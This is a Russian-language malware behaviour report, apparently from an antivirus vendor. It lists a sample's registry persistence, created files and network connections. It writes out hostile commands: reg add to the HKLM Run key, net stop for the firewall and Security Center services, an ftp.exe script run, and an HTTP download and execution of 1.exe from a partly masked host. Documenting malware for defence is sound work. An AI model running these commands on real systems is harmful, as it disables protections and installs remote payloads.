Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'updater' = '%WINDIR%\updater.exe'
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\wscript.exe' %WINDIR%\updater.vbs
- 'C:\1.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\net1.exe' stop sharedaccess
- '<SYSTEM32>\net.exe' stop sharedaccess
- 'C:\1.exe'
- '<SYSTEM32>\ftp.exe' -s:%WINDIR%\syslog.txt
- '<SYSTEM32>\cmd.exe' /cftp.exe -s:%WINDIR%\syslog.txt
- '<SYSTEM32>\net1.exe' stop wscsvc
- '<SYSTEM32>\cmd.exe' /cnet stop wscsvc
- '<SYSTEM32>\cmd.exe' /creg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d %WINDIR%\updater.exe
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d %WINDIR%\updater.exe
- '<SYSTEM32>\cmd.exe' /cnet stop sharedaccess
- '<SYSTEM32>\net.exe' stop wscsvc
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\syslog.txt
- %HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\KHMHGZ4F\1[1].exe
- C:\1.exe
- %WINDIR%\updater.exe
- %WINDIR%\data.txt
- %WINDIR%\updater.vbs
Сетевая активность:
Подключается к:
- 'localhost':1041
- '0d#y.hu':21
- 'localhost':1038
- 'www.p3###id.0day.hu':80
TCP:
Запросы HTTP GET:
- http://www.p3###id.0day.hu/1.exe
UDP:
- DNS ASK 0d#y.hu
- DNS ASK www.p3###id.0day.hu
